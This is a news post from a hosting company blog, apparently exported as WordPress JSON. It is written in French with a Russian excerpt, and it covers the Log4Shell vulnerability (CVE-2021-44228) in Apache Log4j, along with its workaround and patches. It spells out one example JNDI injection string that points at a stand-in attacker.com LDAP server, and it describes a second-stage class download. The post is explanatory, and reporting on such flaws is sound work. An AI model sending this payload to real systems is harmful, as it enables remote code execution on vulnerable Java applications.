{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Vuln\u00e9rabilit\u00e9 catastrophique dans Apache Log4j, affectant de nombreux projets Java","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Dans Apache Log4j, un framework populaire pour la gestion des logs dans les applications Java, une vuln\u00e9rabilit\u00e9 critique a \u00e9t\u00e9 d\u00e9tect\u00e9e, permettant l'ex\u00e9cution de code arbitraire lors de l'enregistrement d'une valeur sp\u00e9cialement format\u00e9e dans le journal au format \u00ab {jndi:URL} \u00bb. Une attaque peut \u00eatre men\u00e9e sur des applications Java qui enregistrent dans le log des valeurs obtenues de sources externes, par exemple en affichant des valeurs probl\u00e9matiques dans les messages d'erreur. <\/p>\n

Il est \u00e0 noter que le probl\u00e8me affecte presque tous les projets utilisant des cadres tels qu'Apache Struts, Apache Solr, Apache Druid ou Apache Flink, y compris Steam, Apple iCloud, les clients et serveurs du jeu Minecraft. Il est pr\u00e9vu que cette vuln\u00e9rabilit\u00e9 pourrait entra\u00eener une vague d'attaques massives sur des applications d'entreprise, r\u00e9p\u00e9tant l'histoire des vuln\u00e9rabilit\u00e9s critiques dans le cadre Apache Struts, qui, selon des estimations, est utilis\u00e9 dans des applications web par 65 % des entreprises du classement Fortune 100. De plus, des tentatives de scan de r\u00e9seaux \u00e0 la recherche de syst\u00e8mes vuln\u00e9rables ont d\u00e9j\u00e0 \u00e9t\u00e9 enregistr\u00e9es. <\/p>\n

Le probl\u00e8me est aggrav\u00e9 par le fait qu'un exploit fonctionnel a d\u00e9j\u00e0 \u00e9t\u00e9 publi\u00e9, mais qu'aucun correctif pour les branches stables n'a encore \u00e9t\u00e9 \u00e9labor\u00e9. Un identifiant CVE n'a pas encore \u00e9t\u00e9 attribu\u00e9. Le correctif n'est inclus que dans la branche de test log4j-2.15.0-rc1. En guise de contournement pour bloquer la vuln\u00e9rabilit\u00e9, il est recommand\u00e9 de d\u00e9finir le param\u00e8tre log4j2.formatMsgNoLookups sur true. <\/p>\n

Le probl\u00e8me a \u00e9t\u00e9 caus\u00e9 par le fait que log4j prend en charge le traitement des masques sp\u00e9ciaux \u00ab {} \u00bb dans les cha\u00eenes enregistr\u00e9es dans les logs, o\u00f9 des requ\u00eates JNDI (Java Naming and Directory Interface) pouvaient \u00eatre ex\u00e9cut\u00e9es. L'attaque consiste \u00e0 transmettre une cha\u00eene avec substitution \u00ab ${jndi:ldap:\/\/attacker.com\/a} \u00bb, lors du traitement de laquelle log4j enverra une requ\u00eate \u00e0 serveur<\/a> attacker.com pour le chemin vers la classe Java. Le chemin retourn\u00e9 serveur<\/a> par l'attaquant (par exemple, http:\/\/second-stage.attacker.com\/Exploit.class) sera t\u00e9l\u00e9charg\u00e9 et ex\u00e9cut\u00e9 dans le contexte du processus actuel, ce qui permet \u00e0 l'attaquant d'ex\u00e9cuter du code arbitraire sur le syst\u00e8me avec les droits de l'application actuelle. <\/p>\n

Addendum 1 : La vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 attribu\u00e9e \u00e0 l'identifiant CVE-2021-44228. <\/p>\n

Addendum 2 : Un moyen de contourner la protection ajout\u00e9e dans la version log4j-2.15.0-rc1 a \u00e9t\u00e9 d\u00e9couvert. Une nouvelle mise \u00e0 jour log4j-2.15.0-rc2 a \u00e9t\u00e9 propos\u00e9e, offrant une protection plus compl\u00e8te contre la vuln\u00e9rabilit\u00e9. Le code met en avant un changement, li\u00e9 \u00e0 l'absence de terminaison d'urgence en cas d'utilisation d'une URL JNDI mal format\u00e9e.
\n
Source : opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 «{jndi:URL}». \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102562","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vuln\u00e9rabilit\u00e9 catastrophique dans Apache Log4j, affectant de nombreux projets Java | ProHoster","description":"Dans Apache Log4j, un framework populaire pour la gestion des journaux dans les applications Java, une vuln\u00e9rabilit\u00e9 critique a \u00e9t\u00e9 d\u00e9tect\u00e9e, permettant l'ex\u00e9cution de code arbitraire lors de l'enregistrement d'une valeur sp\u00e9cialement format\u00e9e dans le journal.","canonical_url":"https:\/\/prohoster.info\/fr\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"fr_FR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache Log4j, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043c\u043d\u043e\u0433\u0438\u0435 Java-\u043f\u0440\u043e\u0435\u043a\u0442\u044b | ProHoster","og:description":"\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432.","og:url":"https:\/\/prohoster.info\/fr\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-12-10T07:36:48+00:00","article:modified_time":"2021-12-10T07:36:48+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102562","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-12-10 07:37:47","updated":"2026-02-09 21:46:43","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/102562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/comments?post=102562"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/102562\/revisions"}],"predecessor-version":[{"id":172962,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/102562\/revisions\/172962"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media?parent=102562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/categories?post=102562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/tags?post=102562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}